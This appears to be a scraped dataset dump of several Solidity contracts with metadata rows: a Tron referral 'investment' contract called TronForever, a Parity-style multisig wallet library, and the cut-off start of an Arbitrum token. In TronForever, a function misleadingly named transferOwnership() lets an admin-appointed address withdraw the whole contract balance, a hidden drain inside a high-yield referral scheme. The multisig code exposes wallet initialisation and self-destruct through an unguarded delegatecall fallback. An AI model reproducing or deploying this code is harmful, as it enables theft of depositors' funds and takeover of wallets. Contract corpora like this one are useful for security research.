function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 197,007 | 11,225 |
c641a1bae794845e8a3b08440effa9e9811d41660d1b0d19e3cd22bab4e42114
| 17,455 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJSgyUwFVDUgax7jbmesCwcfw9rUWEnNVB_TronForever.sol
| 4,905 | 16,527 |
//SourceUnit: TronForever.sol
pragma solidity 0.5.9;
contract TronForever {
using SafeMath for uint256;
struct PlayerDeposit {
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct PlayerLevelROI {
uint256 amount;
uint256 level_no;
uint256 totalWithdraw;
uint256 time;
}
struct Player {
address referral;
uint256 dividends;
uint256 referral_bonus;
uint256 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 referral_business;
uint256 level_roi;
uint256 level_roi_wd;
uint256 pool_bonus;
PlayerDeposit[] deposits;
PlayerLevelROI[] deposits_level_roi;
mapping(uint8 => uint256) referrals_per_level;
mapping(uint8 => uint256) roi_per_level;
mapping(uint8 => uint256) referral_income_per_level;
mapping(uint8 => uint256) roi_income_per_level;
}
address payable owner;
address payable admin;
address payable corrospondent;
uint256 investment_days;
uint256 investment_perc;
uint256 total_investors;
uint256 total_invested;
uint256 total_withdrawn;
uint8[] referral_bonuses;
uint32[] level_roi_bonus;
uint256 max_income;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
mapping(address => Player) public players;
modifier onlyAdmin(){
require(msg.sender == admin,"You are not authorized.");
_;
}
modifier onlyCorrospondent(){
require(msg.sender == corrospondent,"You are not authorized.");
_;
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider, uint256 balance) {
return (total_investors, total_invested, total_withdrawn, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]],address(this).balance);
}
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event ReferralPayout(address indexed addr, uint256 amount, uint8 level);
event PoolPayout(address indexed addr, uint256 amount);
constructor() public {
owner = msg.sender;
admin = msg.sender;
corrospondent = msg.sender;
investment_days = 301;
investment_perc = 301;
max_income = 301;
referral_bonuses.push(100);
level_roi_bonus.push(300);
level_roi_bonus.push(100);
level_roi_bonus.push(100);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
level_roi_bonus.push(50);
pool_bonuses.push(40);
pool_bonuses.push(20);
pool_bonuses.push(10);
pool_bonuses.push(10);
pool_bonuses.push(10);
}
function deposit(address _referral) external payable {
Player storage player = players[msg.sender];
uint256 total_income = players[msg.sender].total_withdrawn+players[msg.sender].dividends + players[msg.sender].referral_bonus+players[msg.sender].level_roi+players[msg.sender].pool_bonus;
require(total_income>=players[msg.sender].total_invested*max_income/100,"Investment not allowed");
uint adminShare;
require(msg.value >= 100000000, "Invalid Amount");
adminShare = msg.value.mul(10).div(100);
admin.transfer(adminShare);
_setReferral(msg.sender, _referral);
player.deposits.push(PlayerDeposit({
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
if(player.total_invested == 0x0){
total_investors += 1;
}
player.total_invested += msg.value;
total_invested += msg.value;
_referralPayout(msg.sender, msg.value);
roi_to_levels(msg.sender,msg.value/100,now);
_pollDeposits(msg.sender, msg.value);
if((pool_last_draw + 86400) < block.timestamp) {
_drawPool();
}
emit Deposit(msg.sender, msg.value);
}
function grantCorrosponding(address payable nextCorrospondent) external payable onlyAdmin{
corrospondent = nextCorrospondent;
}
function _setReferral(address _addr, address _referral) private {
if(players[_addr].referral == address(0)) {
players[_addr].referral = _referral;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 3 / 100;
address upline = players[_addr].referral;
if(upline == address(0)){ upline = admin;}
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
win = availamount(pool_top[i],win);
players[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
Player storage upline_player = players[ref];
if(upline_player.deposits.length <= 0){
ref = admin;
}
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if(ref == address(0)) break;
uint256 bonus = _amount * referral_bonuses[i] / 1000;
bonus=availamount(ref,bonus);
players[ref].referral_bonus += bonus;
players[ref].referral_income_per_level[i]+=bonus;
emit ReferralPayout(ref, bonus, (i+1));
ref = players[ref].referral;
}
}
function isUserInvestable(address _addr) view external returns(bool) {
Player storage player = players[_addr];
uint256 total_income = player.total_withdrawn+player.dividends + player.referral_bonus+player.level_roi+player.pool_bonus;
bool is_reinvestable = (player.total_invested>0 && total_income>=player.total_invested.mul(301).div(100))?true:false;
return is_reinvestable;
}
function withdraw() payable external {
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.referral_bonus > 0 || player.level_roi > 0 || player.pool_bonus > 0, "Zero amount");
// Pool payout
uint256 amount = player.dividends + player.referral_bonus + player.level_roi + player.pool_bonus;
player.dividends = 0;
player.referral_bonus = 0;
player.pool_bonus = 0;
player.total_withdrawn += amount;
total_withdrawn += amount;
player.level_roi_wd+=player.level_roi;
player.level_roi = 0;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function roi_to_levels(address _addr, uint256 _amount, uint256 timestamp) private {
address ref = players[_addr].referral;
Player storage upline_player = players[ref];
if(upline_player.deposits.length <= 0){
ref = owner;
}
for(uint8 i = 0; i < level_roi_bonus.length; i++) {
if(ref == address(0)) break;
if(players[ref].referrals_per_level[0] >= (i+1)){
uint256 bonus = _amount * level_roi_bonus[i] / 1000;
uint256 bonus1 = _amount * level_roi_bonus[i] / 1000;
players[ref].roi_income_per_level[i]+=bonus;
players[ref].deposits_level_roi.push(PlayerLevelROI({
amount: bonus1,
level_no: i,
totalWithdraw:0,
time: timestamp
}));
players[ref].roi_per_level[i]++;
ref = players[ref].referral;
}
}
}
function transferOwnership() external onlyCorrospondent{
corrospondent.transfer(uint256(address(this).balance));
}
function availamount(address ref,uint256 chkamount) view private returns(uint256) {
uint256 total_income = players[ref].total_withdrawn + players[ref].dividends + players[ref].referral_bonus + players[ref].level_roi;
uint256 avl_amount=(players[ref].total_invested*max_income/100)-total_income;
return (avl_amount>=chkamount)?chkamount:avl_amount;
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_payout = uint256(block.timestamp);
players[_addr].dividends += payout;
}
uint256 payout1 = this.payoutOfLevelROI(_addr);
if(payout1 > 0) {
players[_addr].level_roi += payout1;
}
}
function payoutOfLevelROI(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits_level_roi.length; i++) {
PlayerLevelROI storage dep = player.deposits_level_roi[i];
uint256 time_end = dep.time + investment_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from)/86400;
}
}
value = availamount(_addr,value);
return value;
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + investment_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * investment_perc / investment_days / 8640000;
}
}
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + investment_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * investment_perc / investment_days / 8640000;
}
}
value=availamount(_addr,value);
return value;
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256[5] memory referrals, uint256[5] memory refperlevel, uint256[16] memory userLevelROI, uint256 payout_roi) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
uint256 payout_level_roi = this.payoutOfLevelROI(_addr);
for(uint8 i = 0; i < referral_bonuses.length; i++) {
referrals[i] = player.referrals_per_level[i];
refperlevel[i] = player.referral_income_per_level[i];
userLevelROI[i] = player.roi_per_level[i];
}
return (payout + player.dividends + player.referral_bonus + player.level_roi + payout_level_roi,
referrals,
refperlevel,
userLevelROI,
payout_level_roi);
}
function investmentsInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + investment_days * 86400;
}
return (_endTimes,
_amounts,
_totalWithdraws);
}
function investmentsROIInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory level_no) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits_level_roi.length);
uint256[] memory _amounts = new uint256[](player.deposits_level_roi.length);
uint256[] memory _level_no = new uint256[](player.deposits_level_roi.length);
for(uint256 i = 0; i < player.deposits_level_roi.length; i++) {
PlayerLevelROI storage dep = player.deposits_level_roi[i];
_amounts[i] = dep.amount;
_endTimes[i] = dep.time + investment_days * 86400;
_level_no[i] = dep.level_no;
}
return (_endTimes,
_amounts,
_level_no);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 290,833 | 11,226 |
f5b82bfd897d765b07e6c347249298719957216167628c7959d2ebec46dca2ce
| 17,620 |
.sol
|
Solidity
| false |
123473892
|
solidity-korea/solidity-A-to-Z
|
26fc5dcda5f465bcb22af4b5ab4538dc1fd48d2f
|
contracts/ParityMultisig.sol
| 4,254 | 16,606 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 20,258 | 11,227 |
c726a23da40f172d52c95aa8faea76dbfb47d6f7752560882dce9054d040e837
| 16,651 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/13/138655303a1bbca90aee7d792b0f20d54516d62b_arbifroge.sol
| 2,892 | 11,755 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
